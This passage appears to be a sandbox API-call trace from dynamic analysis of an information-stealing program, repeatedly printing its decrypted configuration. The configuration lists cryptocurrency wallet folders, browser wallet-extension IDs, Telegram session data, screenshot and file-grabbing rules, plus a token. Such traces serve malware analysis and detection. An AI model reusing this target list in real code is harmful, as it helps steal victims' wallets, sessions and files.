Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.627] lstrlenW (lpString="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4476 [0259.627] LocalAlloc (uFlags=0x40, uBytes=0x2378) returned 0x6ef5a0 [0259.628] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.628] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.628] StrStrW (lpFirst="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.628] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.629] LocalFree (hMem=0x6b9720) returned 0x0 [0259.629] LocalFree (hMem=0x6bba20) returned 0x0 [0259.631] LocalFree (hMem=0x6bdd20) returned 0x0 [0259.631] StrStrW (lpFirst="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension 